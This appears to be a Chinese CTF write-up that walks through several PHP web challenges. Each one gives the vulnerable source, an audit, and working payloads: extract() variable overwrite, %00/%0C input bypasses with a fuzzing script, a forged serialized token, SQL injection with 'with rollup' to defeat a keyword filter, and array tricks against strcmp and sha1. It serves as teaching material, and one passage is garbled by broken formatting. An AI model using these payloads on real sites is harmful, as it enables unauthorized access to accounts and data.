extract变量覆盖
了解PHP extract函数点我
贴段代码:
<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo'ctf{xxx}';
}
else
{
echo'Oh.no';
}
}
?>
trim()函数为去首位空字符
file_get_contents()函数将一个文件读入一个字符串中
- 有一个变量flag=‘xxx’; extract通过GET传入一个数组,将键名变为变量名,键值变为变量值
isset($shiyan)
判断是否有这个变量,如果有,就将flag变量里面的值去首尾空后赋值给$content
- 之后再判断
$shiyan
和$content
是否相等,若相等,输出flag - 这里如果
flag
传入的GET传入的值如果不为文件名,$content
就一直为空,我们可以使得shiyan
为空,则flag
就可以为任意值
构造payload:
?shiyan=&flag=1
//两个变量作为一个数组被GET接收
绕过过滤的空白字符
贴代码:
<?php
$info = "";
$req = [];
$flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
ini_set("display_error", false); //为一个配置选项设置值
error_reporting(0); //关闭所有PHP错误报告
if(!isset($_GET['number'])){
header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP头显示hint 26966dc52e85af40f59b4fe73d8c323a.txt
die("have a fun!!"); //die — 等同于 exit()
}
foreach([$_GET, $_POST] as $global_var) { //foreach 语法结构提供了遍历数组的简单方式
foreach($global_var as $key => $value) {
$value = trim($value); //trim — 去除字符串首尾处的空白字符(或者其他字符)
is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串
}
}
function is_palindrome_number($number) {
$number = strval($number); //strval — 获取变量的字符串值
$i = 0;
$j = strlen($number) - 1; //strlen — 获取字符串长度
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}
if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串
{
$info="sorry, you cann't input a number!";
}
elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值
{
$info = "number must be equal to it's integer!! ";
}
else
{
$value1 = intval($req["number"]);
$value2 = intval(strrev($req["number"])); //strrev --将字符反转
if($value1!=$value2){
$info="no, this is not a palindrome number!";
}
else
{
if(is_palindrome_number($req["number"])){
$info = "nice! {$value1} is a palindrome number!";
}
else
{
$info=$flag;
}
}
}
echo $info;
通过代码审计之后:(需要满足这三个条件)
- GET提交的值不能是数字包括小数
is_numeric()函数和req[‘number’]!=strval(intval(req[‘number’]))
- 提交的number值要求是一个回文数
v a l u e 1 = i n t v a l ( value1 = intval( value1=intval(req[“number”]);
v a l u e 2 = i n t v a l ( s t r r e v ( value2 = intval(strrev( value2=intval(strrev(req[“number”])); //strrev --将字符反转
if( v a l u e 1 ! = value1!= value1!=value2){
$info=“no, this is not a palindrome number!”;
}
- number不能是一个回文数
if(is_palindrome_number($req[“number”]))
法一
可以引入\f(%0c)在数字前面,来绕过is_palindrome_number
函数,至于前面数字的判断,因为is_numeric()函数
和intval
都会忽略这个字符,所以不会影响
而第一个条件的解决方案有两种:
1.可以通过%00数字前后都可以和%20只能在数字后面
2.再POST一个number参数将GET中的给覆盖掉
则可以构造payload:
?number=%00%0C191
法二
Fuzzing思路
?number=%00%2B191
%2B解析后为“+”; +191==191;intval(‘191+’)==191
可以简化代码为:
<?php
function is_palindrome_number($number) {
$number = strval($number); //strval — 获取变量的字符串值
$i = 0;
$j = strlen($number) - 1; //strlen — 获取字符串长度
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}
$a = trim($_GET['number']);
var_dump(($a==strval(intval($a)))&(intval($a)==intval(strrev($a)))&!is_palindrome_number($a))
?>
进行Fuzzing
import requests
for i in range(256) :
respond = requests.get("http://127.0.0.1/2.php/index.php?number=%s191"%("%%%02X"%i))
if '1' in respond.text :
print("%%%02X"%i)
结果如下:
%0C
%2B
多重加密
老规矩 --贴代码
<?php
include 'common.php';
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
//把一个或多个数组合并为一个数组
class db
{
public $where;
function __wakeup()
{
if(!empty($this->where))
{
$this->select($this->where);
}
}
function select($where)
{
$sql = mysql_query('select * from user where '.$where);
//函数执行一条 MySQL 查询。
return @mysql_fetch_array($sql);
//从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
}
}
if(isset($requset['token']))
//测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
//gzuncompress:进行字符串压缩
//unserialize: 将已序列化的字符串还原回 PHP 的值
$db = new db();
$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
//mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(╯‵□′)╯︵┴─┴ ";
}
}else{
header('Location: index.php?error=1');
}
?>
通过代码审计可以看到
if($login['user'] === 'ichunqiu')
{
echo $flag;
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
//gzuncompress:进行字符串压缩
//unserialize: 将已序列化的字符串还原回 PHP 的值
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
这就是加密的过程,我们可以反向解密
构造php代码,生成token得到flag
$a = array('user'=>'ichunqiu');
$b = base64_encode(gzcompress(serialize($a)));
print_r($b);
得到token
eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==
SQL注入-with rollup绕过
贴代码:
<?php
error_reporting(0);
if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
//检测变量是否是数组
$StrValue=implode($StrValue);
//返回由数组元素组合成的字符串
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
//匹配成功一次后就会停止匹配
print "水可载舟,亦可赛艇!";
exit();
}
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
//遍历数组
AttackFilter($key,$value,$filter);
}
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
//设置活动的 MySQL 数据库
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
//执行一条 MySQL 查询
if (mysql_num_rows($query) == 1) {
//返回结果集中行的数目
$key = mysql_fetch_array($query);
//返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可赛艇!";
}
}else{
print "一颗赛艇!";
}
mysql_close($con);
?>
根据代码审计之后可以知道有三个绕过
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
- 不能使用上述关键字
- SQL数据库的影响为1
if (mysql_num_rows($query) == 1)
- 绕过最后一个if语句
if($key['pwd'] == $_POST['pwd'])
第一个条件,我们可以直接不适用关键词即可
第二个条件,返回结果只能有一条,我们来测试用户人数,但是上面的关键词,
又被过滤了,我们可以考虑使用limit y offset x
来判断人数
PS:
SQL查询语句中limit和offset的区别
limit y分句表示:读取y条数据
limit x,y分句表示:跳过x条数据,读取y条数据
limit y offset x分句表示:跳过x条数据,读取y条数据
这里我们可以一个一个的尝试:
1’ or 1=1 limit 1 offset 0# - - - 返回亦可赛艇 - - -用户数为1
1’ or 1=1 limit 1 offset 1# - - - 返回亦可赛艇 - - -用户数为2
1’ or 1=1 limit 1 offset 2# - - - 返回一颗赛艇 - - - 没有第三个用户
推出只有两个用户
第三个条件,输入的密码的值要和数据库中的密码一样
这里可以用语句 group by pwd with rollup
(分组后会多一行进行统计)
由于对字符串统计无效的第三行的pwd结果是NULL这样就可以绕过最后一个if语句了
构造payload :
?uname=1' or 1=1 group by pwd with rollup limit 1 offset 2#
就不需要输入密码了,让密码为NULL
ereg正则%00截断
上代码:
<?php
$flag = "flag";
if (isset ($_GET['password']))
{
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos — 查找字符串首次出现的位置
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>
经过代码审计后发现需要三个条件:
ereg ("^[a-zA-Z0-9]+$", $_GET['password']) !==FALSE
即代表传入的password只能是0-9的数字和大小写的a-z的字母strlen($_GET['password']) < 8 && $_GET['password'] > 9999999
即表示长度小于8且password的值要大于9999999strpos ($_GET['password'], '*-*') !== FALSE
即表示password中需要包含*-*
这个字符
方法一:传入数组
ereg()函数和strpos()函数的参数不能够是数组,将会返回NULL,而且null!==FALSE,成功绕过
又因为数组的值比数字的值大,即条件二成功绕过
构造payload :
?password[]=1
方法二:%00截断
ereg()函数在遇到%00的时候就会停止
绕过条件二只需要利用科学计数法 例如 10的7次方=> 1e7
条件三那就更简单了,直接在后面加一个字符就好了
构造payload :
?password=1e7%00*-*
注意strpos函数大小写敏感
strcmp比较字符串
上代码:
<?php
$flag = "flag";
if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
//比较两个字符串(区分大小写)
die('Flag: '.$flag);
else
print 'No';
}
?>
这里就是一个简单的绕过strcmp()函数
这个函数在php5.3之前的版本中如果参数是不合法的值,函数将会报错而且会return 0
导致虽然报错但是刚好绕过了strcmp()函数
当然后面修复了这个漏洞,只报错,不返回值
我们可以传入数组参数,strcmp函数会返回NULL,但是根据php弱类型,NULL==0
构造payload:
?a[]=1
sha()函数比较绕过
代码:
<?php
$flag = "flag";
if (isset($_GET['name']) and isset($_GET['password']))
{
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else
echo '<p>Login first!</p>';
?>
===
这个判断符号除了判断大小还会判断类型
比如sha()和md5()存在漏洞 sha1()默认传入的是字符串,我们传入数组他就会报错返回false
构造payload:
?name[]=1&password[]=2